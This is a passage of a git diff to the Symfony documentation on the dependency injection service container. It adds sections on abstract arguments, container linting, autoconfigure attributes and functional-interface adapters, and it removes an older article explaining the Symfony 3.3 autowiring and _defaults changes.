https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <services> + <service id="App\Service\MyService" class="App\Service\MyService"> + <argument key="$rootNamespace" type="abstract">should be defined by Pass</argument> + </service> + + <!-- ... --> + </services> + </container> + + .. code-block:: php + + // config/services.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + use App\Service\MyService; + use Psr\Log\LoggerInterface; + use Symfony\Component\DependencyInjection\Definition; + use Symfony\Component\DependencyInjection\Reference; + + return function(ContainerConfigurator $container) { + $services = $container->services(); + + $services->set(MyService::class) + ->arg('$rootNamespace', abstract_arg('should be defined by Pass')) + ; + + // ... + }; + +If you don't replace the value of an abstract argument during runtime, a +``RuntimeException`` will be thrown with a message like +``Argument "$rootNamespace" of service "App\Service\MyService" is abstract: should be defined by Pass.`` .. _services-autowire: @@ -804,23 +1208,42 @@ you don't need to do *anything*: the service will be automatically loaded. Then, implements ``Twig\Extension\ExtensionInterface``. And thanks to ``autowire``, you can even add constructor arguments without any configuration. +Autoconfiguration also works with attributes. Some attributes like +:class:`Symfony\\Component\\Messenger\\Attribute\\AsMessageHandler`, +:class:`Symfony\\Component\\EventDispatcher\\Attribute\\AsEventListener` and +:class:`Symfony\\Component\\Console\\Attribute\\AsCommand` are registered +for autoconfiguration. Any class using these attributes will have tags applied +to them. + Linting Service Definitions --------------------------- -The ``lint:container`` command checks that the arguments injected into services -match their type declarations. It's useful to run it before deploying your +The ``lint:container`` command performs additional checks to ensure the container +is properly configured. It is useful to run this command before deploying your application to production (e.g. in your continuous integration server): .. code-block:: terminal $ php bin/console lint:container -Checking the types of all service arguments whenever the container is compiled -can hurt performance. That's why this type checking is implemented in a -:doc:`compiler pass </service_container/compiler_passes>` called -``CheckTypeDeclarationsPass`` which is disabled by default and enabled only when -executing the ``lint:container`` command. If you don't mind the performance -loss, enable the compiler pass in your application. + # optionally, you can force the resolution of environment variables; + # the command will fail if any of those environment variables are missing + $ php bin/console lint:container --resolve-env-vars + +.. versionadded:: 7.2 + + The ``--resolve-env-vars`` option was introduced in Symfony 7.2. + +Performing those checks whenever the container is compiled can hurt performance. +That's why they are implemented in :doc:`compiler passes </service_container/compiler_passes>` +called ``CheckTypeDeclarationsPass`` and ``CheckAliasValidityPass``, which are +disabled by default and enabled only when executing the ``lint:container`` command. +If you don't mind the performance loss, you can enable these compiler passes in +your application. + +.. versionadded:: 7.1 + + The ``CheckAliasValidityPass`` compiler pass was introduced in Symfony 7.1. .. _container-public: @@ -874,7 +1297,7 @@ setting: use App\Service\PublicService; - return function(ContainerConfigurator $configurator) { + return function(ContainerConfigurator $container): void { // ... same as code before // explicitly configure the service @@ -883,10 +1306,20 @@ setting: ; }; -.. deprecated:: 5.1 +It is also possible to define a service as public thanks to the ``#[Autoconfigure]`` +attribute. This attribute must be used directly on the class of the service +you want to configure:: - As of Symfony 5.1, it is no longer possible to autowire the service - container by type-hinting ``Psr\Container\ContainerInterface``. + // src/Service/PublicService.php + namespace App\Service; + + use Symfony\Component\DependencyInjection\Attribute\Autoconfigure; + + #[Autoconfigure(public: true)] + class PublicService + { + // ... + } .. _service-psr4-loader: @@ -907,8 +1340,8 @@ key. For example, the default Symfony configuration contains this: # makes classes in src/ available to be used as services # this creates a service per class whose id is the fully-qualified class name App\: - resource: '../src/*' - exclude: '../src/{DependencyInjection,Entity,Tests,Kernel.php}' + resource: '../src/' + exclude: '../src/{DependencyInjection,Entity,Kernel.php}' .. code-block:: xml @@ -922,7 +1355,7 @@ key. For example, the default Symfony configuration contains this: <services> <!-- ... same as before --> - <prototype namespace="App\" resource="../src/*" exclude="../src/{DependencyInjection,Entity,Tests,Kernel.php}"/> + <prototype namespace="App\" resource="../src/" exclude="../src/{DependencyInjection,Entity,Kernel.php}"/> </services> </container> @@ -931,26 +1364,28 @@ key. For example, the default Symfony configuration contains this: // config/services.php namespace Symfony\Component\DependencyInjection\Loader\Configurator; - return function(ContainerConfigurator $configurator) { + return function(ContainerConfigurator $container): void { // ... // makes classes in src/ available to be used as services // this creates a service per class whose id is the fully-qualified class name - $services->load('App\\', '../src/*') - ->exclude('../src/{DependencyInjection,Entity,Tests,Kernel.php}'); + $services->load('App\\', '../src/') + ->exclude('../src/{DependencyInjection,Entity,Kernel.php}'); }; .. tip:: The value of the ``resource`` and ``exclude`` options can be any valid - `glob pattern`_. + `glob pattern`_. If you want to exclude only a few services, you + may use the :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Exclude` + attribute directly on your class to exclude it. This can be used to quickly make many classes available as services and apply some default configuration. The ``id`` of each service is its fully-qualified class name. You can override any service that's imported by using its id (class name) below -(e.g. see :ref:`services-manually-wire-args`). If you override a service, none of -the options (e.g. ``public``) are inherited from the import (but the overridden -service *does* still inherit from ``_defaults``). +(e.g. see :ref:`how to manually wire arguments <services-manually-wire-args>`). +If you override a service, none of the options (e.g. ``public``) are inherited +from the import (but the overridden service *does* still inherit from ``_defaults``). You can also ``exclude`` certain paths. This is optional, but will slightly increase performance in the ``dev`` environment: excluded paths are not tracked and so modifying @@ -994,7 +1429,6 @@ for classes under the same namespace: <services> <prototype namespace="App\Domain" resource="../src/App/Domain/*"/> - </prototype> <!-- ... --> </services> @@ -1038,11 +1472,8 @@ unique string as the key of each service config: Explicitly Configuring Services and Arguments --------------------------------------------- -Prior to Symfony 3.3, all services and (typically) arguments were explicitly configured: -it was not possible to :ref:`load services automatically <service-container-services-load-example>` -and :ref:`autowiring <services-autowire>` was much less common. - -Both of these features are optional. And even if you use them, there may be some +:ref:`Loading services automatically <service-container-services-load-example>` +and :ref:`autowiring <services-autowire>` are optional. And even if you use them, there may be some cases where you want to manually wire a service. For example, suppose that you want to register *2* services for the ``SiteUpdateManager`` class - each with a different admin email. In this case, each needs to have a unique service id: @@ -1114,7 +1545,7 @@ admin email. In this case, each needs to have a unique service id: use App\Service\MessageGenerator; use App\Service\SiteUpdateManager; - return function(ContainerConfigurator $configurator) { + return function(ContainerConfigurator $container): void { // ... // site_update_manager.superadmin is the service's id @@ -1144,15 +1575,149 @@ admin email. In this case, each needs to have a unique service id: In this case, *two* services are registered: ``site_update_manager.superadmin`` and ``site_update_manager.normal_users``. Thanks to the alias, if you type-hint ``SiteUpdateManager`` the first (``site_update_manager.superadmin``) will be passed. -If you want to pass the second, you'll need to :ref:`manually wire the service <services-wire-specific-service>`. -.. caution:: +If you want to pass the second, you'll need to :ref:`manually wire the service <services-wire-specific-service>` +or to create a named :ref:`autowiring alias <autowiring-alias>`. + +.. warning:: If you do *not* create the alias and are :ref:`loading all services from src/ <service-container-services-load-example>`, then *three* services have been created (the automatic service + your two services) and the automatically loaded service will be passed - by default - when you type-hint ``SiteUpdateManager``. That's why creating the alias is a good idea. +When using PHP closures to configure your services, it is possible to automatically +inject the current environment value by adding a string argument named ``$env`` to +the closure:: + + // config/packages/my_config.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + return function(ContainerConfigurator $containerConfigurator, string $env): void { + // `$env` is automatically filled in, so you can configure your + // services depending on which environment you're on + }; + +Generating Adapters for Functional Interfaces +--------------------------------------------- + +Functional interfaces are interfaces with a single method. +They are conceptually very similar to a closure except that their only method +has a name. Moreover, they can be used as type-hints across your code. + +The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireCallable` +attribute can be used to generate an adapter for a functional interface. +Let's say you have the following functional interface:: + + // src/Service/MessageFormatterInterface.php + namespace App\Service; + + interface MessageFormatterInterface + { + public function format(string $message, array $parameters): string; + } + +You also have a service that defines many methods and one of them is the same +``format()`` method of the previous interface:: + + // src/Service/MessageUtils.php + namespace App\Service; + + class MessageUtils + { + // other methods... + + public function format(string $message, array $parameters): string + { + // ... + } + } + +Thanks to the ``#[AutowireCallable]`` attribute, you can now inject this +``MessageUtils`` service as a functional interface implementation:: + + namespace App\Service\Mail; + + use App\Service\MessageFormatterInterface; + use App\Service\MessageUtils; + use Symfony\Component\DependencyInjection\Attribute\AutowireCallable; + + class Mailer + { + public function __construct( + #[AutowireCallable(service: MessageUtils::class, method: 'format')] + private MessageFormatterInterface $formatter + ) { + } + + public function sendMail(string $message, array $parameters): string + { + $formattedMessage = $this->formatter->format($message, $parameters); + + // ... + } + } + +Instead of using the ``#[AutowireCallable]`` attribute, you can also generate +an adapter for a functional interface through configuration: + +.. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + services: + + # ... + + app.message_formatter: + class: App\Service\MessageFormatterInterface + from_callable: [!service {class: 'App\Service\MessageUtils'}, 'format'] + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <services> + <!-- ... --> + + <service id="app.message_formatter" class="App\Service\MessageFormatterInterface"> + <from-callable method="format"> + <service class="App\Service\MessageUtils"/> + </from-callable> + </service> + + </services> + </container> + + .. code-block:: php + + // config/services.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + use App\Service\MessageFormatterInterface; + use App\Service\MessageUtils; + + return function(ContainerConfigurator $container) { + // ... + + $container + ->set('app.message_formatter', MessageFormatterInterface::class) + ->fromCallable([inline_service(MessageUtils::class), 'format']) + ->alias(MessageFormatterInterface::class, 'app.message_formatter') + ; + }; + +By doing so, Symfony will generate a class (also called an *adapter*) +implementing ``MessageFormatterInterface`` that will forward calls of +``MessageFormatterInterface::format()`` to your underlying service's method +``MessageUtils::format()``, with all its arguments. + Learn more ---------- diff --git a/service_container/3.3-di-changes.rst b/service_container/3.3-di-changes.rst deleted file mode 100644 index d57be2c0e5b..00000000000 --- a/service_container/3.3-di-changes.rst +++ /dev/null @@ -1,873 +0,0 @@ -The Symfony 3.3 DI Container Changes Explained (autowiring, _defaults, etc) -=========================================================================== - -If you look at the ``services.yaml`` file in a new Symfony 3.3 or newer project, you'll -notice some big changes: ``_defaults``, ``autowiring``, ``autoconfigure`` and more. -These features are designed to *automate* configuration and make development faster, -without sacrificing predictability, which is very important! Another goal is to make -controllers and services behave more consistently. In Symfony 3.3, controllers *are* -services by default. - -The documentation has already been updated to assume you have these new features -enabled. If you're an existing Symfony user and want to understand the "what" -and "why" behind these changes, this article is for you! - -All Changes are Optional ------------------------- - -Most importantly, **you can upgrade to Symfony 3.3 today without making any changes to your app**. -Symfony has a strict :doc:`backwards compatibility promise </contributing/code/bc>`, -which means it's always safe to upgrade across minor versions. - -All of the new features are **optional**: they are not enabled by default, so you -need to actually change your configuration files to use them. - -.. _`service-33-default_definition`: - -The new Default services.yaml File ----------------------------------- - -To understand the changes, look at the new default ``services.yaml`` file (this is -what the file looks like in Symfony 4): - -.. configuration-block:: - - .. code-block:: yaml - - # config/services.yaml - services: - # default configuration for services in *this* file - _defaults: - autowire: true # Automatically injects dependencies in your services. - autoconfigure: true # Automatically registers your services as commands, event subscribers, etc. - public: false # Allows optimizing the container by removing unused services; this also means - # fetching services directly from the container via $container->get() won't work. - # The best practice is to be explicit about your dependencies anyway. - - # makes classes in src/ available to be used as services - # this creates a service per class whose id is the fully-qualified class name - App\: - resource: '../src/*' - exclude: '../src/{Entity,Migrations,Tests}' - - # controllers are imported separately to make sure services can be injected - # as action arguments even if you don't extend any base controller class - App\Controller\: - resource: '../src/Controller' - tags: ['controller.service_arguments'] - - # add more service definitions when explicit configuration is needed - # please note that last definitions always *replace* previous ones - - .. code-block:: xml - - <!-- config/services.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd"> - - <services> - <defaults autowire="true" autoconfigure="true" public="false"/> - - <prototype namespace="App\" resource="../src/*" exclude="../src/{Entity,Migrations,Tests}"/> - - <prototype namespace="App\Controller\" resource="../src/Controller"> - <tag name="controller.service_arguments"/> - </prototype> - - <!-- add more services, or override services that need manual wiring --> - </services> - </container> - - .. code-block:: php - - // config/services.php - namespace Symfony\Component\DependencyInjection\Loader\Configurator; - - return function(ContainerConfigurator $configurator) { - // default configuration for services in *this* file - $services = $configurator->services() - ->defaults() - ->autowire() // Automatically injects dependencies in your services. - ->autoconfigure() // Automatically registers your services as commands, event subscribers, etc. - ; - - // makes classes in src/ available to be used as services - // this creates a service per class whose id is the fully-qualified class name - $services->load('App\\', '../src/*') - ->exclude('../src/{Entity,Migrations,Tests}'); - - // controllers are imported separately to make sure services can be injected - // as action arguments even if you don't extend any base controller class - $services->load('App\\Controller\\', '../src/Controller') - ->tag('controller.service_arguments'); - - // add more service definitions when explicit configuration is needed - // please note that last definitions always *replace* previous ones - }; - -This small bit of configuration contains a paradigm shift of how services -are configured in Symfony. - -.. _`service-33-changes-automatic-registration`: - -1) Services are Loaded Automatically ------------------------------------- - -.. seealso:: - - Read the documentation for :ref:`automatic service loading <service-psr4-loader>`. - -The first big change is that services do *not* need to be defined one-by-one anymore, -thanks to the following config: - -.. configuration-block:: - - .. code-block:: yaml - - # config/services.yaml - services: - # ... - - # makes classes in src/ available to be used as services - # this creates a service per class whose id is the fully-qualified class name - App\: - resource: '../src/*' - exclude: '../src/{Entity,Migrations,Tests}' - - .. code-block:: xml - - <!-- config/services.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd"> - - <services> - <!-- ... --> - - <prototype namespace="App\" resource="../src/*" exclude="../src/{Entity,Migrations,Tests}"/> - </services> - </container> - - .. code-block:: php - - // config/services.php - namespace Symfony\Component\DependencyInjection\Loader\Configurator; - - return function(ContainerConfigurator $configurator) { - // ... - - // makes classes in src/ available to be used as services - // this creates a service per class whose id is the fully-qualified class name - $services->load('App\\', '../src/*') - ->exclude('../src/{Entity,Migrations,Tests}'); - }; - -This means that every class in ``src/`` is *available* to be used as a -service. And thanks to the ``_defaults`` section at the top of the file, all of -these services are **autowired** and **private** (i.e. ``public: false``). - -The service ids are equal to the class name (e.g. ``App\Service\InvoiceGenerator``). -And that's another change you'll notice in Symfony 3.3: we recommend that you use -the class name as your service id, unless you have :ref:`multiple services for the same class <services-explicitly-configure-wire-services>`. - - But how does the container know the arguments to my services? - -Since each service is :ref:`autowired <services-autowire>`, the container is able -to determine most arguments automatically. But, you can always override the service -and :ref:`manually configure arguments <services-manually-wire-args>` or anything -else special about your service. - - But wait, if I have some model (non-service) classes in my ``src/`` - directory, doesn't this mean that *they* will also be registered as services? - Isn't that a problem? - -Actually, this is *not* a problem. Since all the new services are :ref:`private <container-public>` -(thanks to ``_defaults``), if any of the services are *not* used in your code, they're -automatically removed from the compiled container. This means that the number of -services in your container should be the *same* whether your explicitly configure -each service or load them all at once with this method. - - Ok, but can I exclude some paths that I *know* won't contain services? - -Yes! The ``exclude`` key is a glob pattern that can be used to *ignore* paths -that you do *not* want to be included as services. But, since unused services are -automatically removed from the container, ``exclude`` is not that important. The -biggest benefit is that those paths are not *tracked* by the container, and so may -result in the container needing to be rebuilt less-often in the ``dev`` environment. - -2) Autowiring by Default: Use Type-hint instead of Service id -------------------------------------------------------------- - -The second big change is that autowiring is enabled (via ``_defaults``) for all -services you register. This also means that service id's are now *less* important -and "types" (i.e. class or interface names) are now *more* important. - -For example, before Symfony 3.3 (and this is still allowed), you could pass one -service as an argument to another with the following config: - -.. configuration-block:: - - .. code-block:: yaml - - # config/services.yaml - services: - app.invoice_generator: - class: App\Service\InvoiceGenerator - - app.invoice_mailer: - class: App\Service\InvoiceMailer - arguments: - - '@app.invoice_generator' - - .. code-block:: xml - - <!-- config/services.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd"> - - <services> - <service id="app.invoice_generator" - class="App\Service\InvoiceGenerator"/> - - <service id="app.invoice_mailer" - class="App\Service\InvoiceMailer"> - - <argument type="service" id="app.invoice_generator"/> - </service> - </services> - </container> - - .. code-block:: php - - // config/services.php - use App\Service\InvoiceGenerator; - use App\Service\InvoiceMailer; - use Symfony\Component\DependencyInjection\Reference; - - $container->register('app.invoice_generator', InvoiceGenerator::class); - $container->register('app.invoice_mailer', InvoiceMailer::class) - ->setArguments([new Reference('app.invoice_generator')]); - -To pass the ``InvoiceGenerator`` as an argument to ``InvoiceMailer``, you needed -to specify the service's *id* as an argument: ``app.invoice_generator``. Service -id's were the main way that you configured things. - -But in Symfony 3.3, thanks to autowiring, all you need to do is type-hint the -argument with ``InvoiceGenerator``:: - - // src/Service/InvoiceMailer.php - namespace App\Service; - - // ... - - class InvoiceMailer - { - private $generator; - - public function __construct(InvoiceGenerator $generator) - { - $this->generator = $generator - } - - // ... - } - -That's it! Both services are :ref:`automatically registered <service-33-changes-automatic-registration>` -and set to autowire. Without *any* configuration, the container knows to pass the -auto-registered ``App\Service\InvoiceGenerator`` as the first argument. As -you can see, the *type* of the class - ``App\Service\InvoiceGenerator`` - is -what's most important, not the id. You request an *instance* of a specific type and -the container automatically passes you the correct service. - - Isn't that magic? How does it know which service to pass me exactly? What if - I have multiple services of the same instance? - -The autowiring system was designed to be *super* predictable. It first works by looking -for a service whose id *exactly* matches the type-hint. This means you're in full -control of what type-hint maps to what service. You can even use service aliases -to get more control. If you have multiple services for a specific type, *you* choose -which should be used for autowiring. For full details on the autowiring logic, see :ref:`autowiring-logic-explained`. - - But what if I have a scalar (e.g. string) argument? How does it autowire that? - -If you have an argument that is *not* an object, it can't be autowired. But that's -ok! Symfony will give you a clear exception (on the next refresh of *any* page) telling -you which argument of which service could not be autowired. To fix it, you can -:ref:`manually configure *just* that one argument <services-manually-wire-args>`. -This is the philosophy of autowiring: only configure the parts that you need to. -Most configuration is automated. - - Ok, but autowiring makes your applications less stable. If you change one thing - or make a mistake, unexpected things might happen. Isn't that a problem? - -Symfony has always valued stability, security and predictability first. Autowiring -was designed with that in mind. Specifically: - -* If there is a problem wiring *any* argument to *any* service, a clear exception - is thrown on the next refresh of *any* page, even if you don't use that service - on that page. That's *powerful*: it is *not* possible to make an autowiring mistake - and not realize it. - -* The container determines *which* service to pass in an explicit way: it looks for - a service whose id matches the type-hint exactly. It does *not* scan all services - looking for objects that have that class/interface. - -Autowiring aims to *automate* configuration without magic. - -3) Controllers are Registered as Services ------------------------------------------ - -The third big change is that, in a new Symfony 3.3 project, your controllers are *services*: - -.. configuration-block:: - - .. code-block:: yaml - - # config/services.yaml - services: - # ... - - # controllers are imported separately to make sure they're public - # and have a tag that allows actions to type-hint services - App\Controller\: - resource: '../src/Controller' - tags: ['controller.service_arguments'] - - .. code-block:: xml - - <!-- config/services.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd"> - - <services> - <!-- ... --> - - <prototype namespace="App\Controller\" resource="../src/Controller"> - <tag name="controller.service_arguments"/> - </prototype> - </services> - </container> - - .. code-block:: php - - // config/services.php - namespace Symfony\Component\DependencyInjection\Loader\Configurator; - - return function(ContainerConfigurator $configurator) { - // ... - - // controllers are imported separately to make sure they're public - // and have a tag that allows actions to type-hint services - $services->load('App\\Controller\\', '../src/Controller') - ->tag('controller.service_arguments'); - }; - - -But, you might not even notice this. First, your controllers *can* still extend -the same base controller class (``AbstractController``). -This means you have access to all of the same shortcuts as before. Additionally, -the ``@Route`` annotation and ``_controller`` syntax (e.g. ``App:Default:homepage``) -used in routing will automatically use your controller as a service (as long as its -service id matches its class name, which it *does* in this case). See :doc:`/controller/service` -for more details. You can even create :ref:`invokable controllers <controller-service-invoke>` - -In other words, everything works the same. You can even add the above configuration -to your existing project without any issues: your controllers will behave the same -as before. But now that your controllers are services, you can use dependency injection -and autowiring like any other service. - -To make life even easier, it's now possible to autowire arguments to your controller -action methods, like you can with the constructor of services. For example:: - - // src/Controller/InvoiceController.php - namespace App\Controller; - - use Psr\Log\LoggerInterface; - - class InvoiceController extends AbstractController - { - public function listInvoices(LoggerInterface $logger) - { - $logger->info('A new way to access services!'); - } - } - -This is *only* possible in a controller, and your controller service must be tagged -with ``controller.service_arguments`` to make it happen. This new feature is used -throughout the documentation. - -In general, the new best practice is to use normal constructor dependency injection -(or "action" injection in controllers) instead of fetching public services via -``$this->get()`` (though that does still work). - -.. _service_autoconfigure: - -4) Auto-tagging with autoconfigure ----------------------------------- - -The fourth big change is the ``autoconfigure`` key, which is set to ``true`` under -``_defaults``. Thanks to this, the container will auto-tag services registered in -this file. For example, suppose you want to create an event subscriber. First, you -create the class:: - - // src/EventSubscriber/SetHeaderSusbcriber.php - namespace App\EventSubscriber; - - // ... - - use Symfony\Component\EventDispatcher\EventSubscriberInterface; - use Symfony\Component\HttpKernel\Event\ResponseEvent; - use Symfony\Component\HttpKernel\KernelEvents; - - class SetHeaderSusbcriber implements EventSubscriberInterface - { - public function onKernelResponse(ResponseEvent $event) - { - $event->getResponse()->headers->set('X-SYMFONY-3.3', 'Less config'); - } - - public static function getSubscribedEvents() - { - return [ - KernelEvents::RESPONSE => 'onKernelResponse' - ]; - } - } - -Great! In Symfony 3.2 or lower, you would now need to register this as a service -in ``services.yaml`` and tag it with ``kernel.event_subscriber``. In Symfony 3.3, -you're already done! - -The service is :ref:`automatically registered <service-33-changes-automatic-registration>`. -And thanks to ``autoconfigure``, Symfony automatically tags the service because -it implements ``EventSubscriberInterface``. - - That sounds like magic - it *automatically* tags my services? - -In this case, you've created a class that implements ``EventSubscriberInterface`` -and registered it as a service. This is more than enough for the container to know -that you want this to be used as an event subscriber: more configuration is not needed. -And the tags system is its own, Symfony-specific mechanism. And you can -always set ``autoconfigure`` to ``false`` in ``services.yaml``, or disable it -for a specific service. - - Does this mean tags are dead? Does this work for all tags? - -This does *not* work for all tags. Many tags have *required* attributes, like event -*listeners*, where you also need to specify the event name and method in your tag. -Autoconfigure works only for tags without any required tag attributes, and as you -read the docs for a feature, it'll tell you whether or not the tag is needed. You -can also look at the extension classes (e.g. `FrameworkExtension for 3.3.0`_) to -see what it autoconfigures. - - What if I need to add a priority to my tag? - -Many autoconfigured tags have an optional priority. If you need to specify a priority -(or any other optional tag attribute), no problem! :ref:`Manually configure your service <services-manually-wire-args>` -and add the tag. Your tag will take precedence over the one added by auto-configuration. - -5) Auto-configure with _instanceof ----------------------------------- - -And the final big change is ``_instanceof``. It acts as a default definition -template (see `service-33-default_definition`_), but only for services whose -class matches a defined one. - -This can be very useful when many services share some tag that cannot be -inherited from an abstract definition: - -.. configuration-block:: - - .. code-block:: yaml - - # config/services.yaml - services: - # ... - - _instanceof: - App\Domain\LoaderInterface: - public: true - tags: ['app.domain_loader'] - - .. code-block:: xml - - <!-- config/services.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd"> - - <services> - <!-- ... --> - - <instanceof id="App\Domain\LoaderInterface" public="true"> - <tag name="app.domain_loader"/> - </instanceof> - </services> - </container> - - .. code-block:: php - - // config/services.php - namespace Symfony\Component\DependencyInjection\Loader\Configurator; - - use App\Domain\LoaderInterface; - - return function(ContainerConfigurator $configurator) { - // ... - - $services->instanceof(LoaderInterface::class) - ->public() - ->tag('app.domain_loader'); - }; - -What about Performance ----------------------- - -Symfony is unique because it has a *compiled* container. This means that there is -*no* runtime performance impact for using any of these features. That's also why -the autowiring system can give you such clear errors. - -However, there is some performance impact in the ``dev`` environment. Most importantly, -your container will likely be rebuilt more often when you modify your service classes. -This is because it needs to rebuild whenever you add a new argument to a service, -or add an interface to your class that should be autoconfigured. - -In very big projects, this may be a problem. If it is, you can always opt to *not* -use autowiring. If you think the cache rebuilding system could be smarter in some -situation, please open an issue! - -Upgrading to the new Symfony 3.3 Configuration ----------------------------------------------- - -Ready to upgrade your existing project? Great! Suppose you have the following configuration: - -.. code-block:: yaml - - # config/services.yaml - services: - app.github_notifier: - class: App\Service\GitHubNotifier - arguments: - - '@app.api_client_github' - - markdown_transformer: - class: App\Service\MarkdownTransformer - - app.api_client_github: - class: App\Service\ApiClient - arguments: - - 'https://api.github.com' - - app.api_client_sl_connect: - class: App\Service\ApiClient - arguments: - - 'https://connect.symfony.com/api' - -It's optional, but let's upgrade this to the new Symfony 3.3 configuration step-by-step, -*without* breaking our application. - -Step 1): Adding _defaults -~~~~~~~~~~~~~~~~~~~~~~~~~ - -Start by adding a ``_defaults`` section with ``autowire`` and ``autoconfigure``. - -.. code-block:: diff - - # config/services.yaml - services: - + _defaults: - + autowire: true - + autoconfigure: true - - # ... - -You're already *explicitly* configuring all of your services. So, ``autowire`` -does nothing. You're also already tagging your services, so ``autoconfigure`` -also doesn't change any existing services. - -You have not added ``public: false`` yet. That will come in a minute. - -Step 2) Using Class Service id's -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -Right now, the service ids are machine names - e.g. ``app.github_notifier``. To -work well with the new configuration system, your service ids should be class names, -except when you have multiple instances of the same service. - -Start by updating the service ids to class names: - -.. code-block:: diff - - # config/services.yaml - services: - # ... - - - app.github_notifier: - - class: App\Service\GitHubNotifier - + App\Service\GitHubNotifier: - arguments: - - '@app.api_client_github' - - - markdown_transformer: - - class: App\Service\MarkdownTransformer - + App\Service\MarkdownTransformer: ~ - - # keep these ids because there are multiple instances per class - app.api_client_github: - # ... - app.api_client_sl_connect: - # ... - -.. caution:: - - Services associated with global PHP classes (i.e. not using PHP namespaces) - must maintain the ``class`` parameter. For example, when using the old Twig - classes (e.g. ``Twig_Extensions_Extension_Intl`` instead of ``Twig\Extensions\IntlExtension``), - you can't redefine the service as ``Twig_Extensions_Extension_Intl: ~`` and - you must keep the original ``class`` parameter. - -.. caution:: - - If a service is processed by a :doc:`compiler pass </service_container/compiler_passes>`, - you could face a "You have requested a non-existent service" error. - To get rid of this, be sure that the Compiler Pass is using ``findDefinition()`` - instead of ``getDefinition()``. The latter won't take aliases into - account when looking up for services. - Furthermore it is always recommended to check for definition existence - using ``has()`` function. - -.. note:: - - If you get rid of deprecations and make your controllers extend from - ``AbstractController`` instead of ``Controller``, you can skip the rest of - this step because ``AbstractController`` doesn't provide a container where - you can get the services from. All services need to be injected as explained - in the :ref:`step 5 of this article <step-5>`. - -But, this change will break our app! The old service ids (e.g. ``app.github_notifier``) -no longer exist. The simplest way to fix this is to find all your old service ids -and update them to the new class id: ``app.github_notifier`` to ``App\Service\GitHubNotifier``. - -In large projects, there's a better way: create legacy aliases that map the old id -to the new id. Create a new ``legacy_aliases.yaml`` file: - -.. code-block:: yaml - - # config/legacy_aliases.yaml - services: - _defaults: - public: true - # aliases so that the old service ids can still be accessed - # remove these if/when you are not fetching these directly - # from the container via $container->get() - app.github_notifier: '@App\Service\GitHubNotifier' - markdown_transformer: '@App\Service\MarkdownTransformer' - -Then import this at the top of ``services.yaml``: - -.. code-block:: diff - - # config/services.yaml - + imports: - + - { resource: legacy_aliases.yaml } - - # ... - -That's it! The old service ids still work. Later, (see the cleanup step below), you -can remove these from your app. - -Step 3) Make the Services Private -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -Now you're ready to default all services to be private: - -.. code-block:: diff - - # config/services.yaml - # ... - - services: - _defaults: - autowire: true - autoconfigure: true - + public: false - -Thanks to this, any services created in this file cannot be fetched directly from -the container. But, since the old service id's are aliases in a separate file (``legacy_aliases.yaml``), -these *are* still public. This makes sure the app keeps working. - -If you did *not* change the id of some of your services (because there are multiple -instances of the same class), you may need to make those public: - -.. code-block:: diff - - # config/services.yaml - # ... - - services: - # ... - - app.api_client_github: - # ... - - + # remove this if/when you are not fetching this - + # directly from the container via $container->get() - + public: true - - app.api_client_sl_connect: - # ... - + public: true - -This is to guarantee that the application doesn't break. If you're not fetching -these services directly from the container, this isn't needed. In a minute, you'll -clean that up. - -Step 4) Auto-registering Services -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -You're now ready to automatically register all services in ``src/`` -(and/or any other directory/bundle you have): - -.. code-block:: diff - - # config/services.yaml - - services: - _defaults: - # ... - - + App\: - + resource: '../src/*' - + exclude: '../src/{Entity,Migrations,Tests}' - + - + App\Controller\: - + resource: '../src/Controller' - + tags: ['controller.service_arguments'] - - # ... - -That's it! Actually, you're already overriding and reconfiguring all the services -you're using (``App\Service\GitHubNotifier`` and ``App\Service\MarkdownTransformer``). -But now, you won't need to manually register future services. - -Once again, there is one extra complication if you have multiple services of the -same class: - -.. code-block:: diff - - # config/services.yaml - - services: - # ... - - + # alias ApiClient to one of our services below - + # app.api_client_github will be used to autowire ApiClient type-hints - + App\Service\ApiClient: '@app.api_client_github' - - app.api_client_github: - # ... - app.api_client_sl_connect: - # ... - -This guarantees that if you try to autowire an ``ApiClient`` instance, the ``app.api_client_github`` -will be used. If you *don't* have this, the auto-registration feature will try to -register a third ``ApiClient`` service and use that for autowiring (which will fail, -because the class has a non-autowireable argument). - -.. _step-5: - -Step 5) Cleanup! -~~~~~~~~~~~~~~~~ - -To make sure your application didn't break, you did some extra work. Now it's time -to clean things up! First, update your application to *not* use the old service id's (the -ones in ``legacy_aliases.yaml``). This means updating any 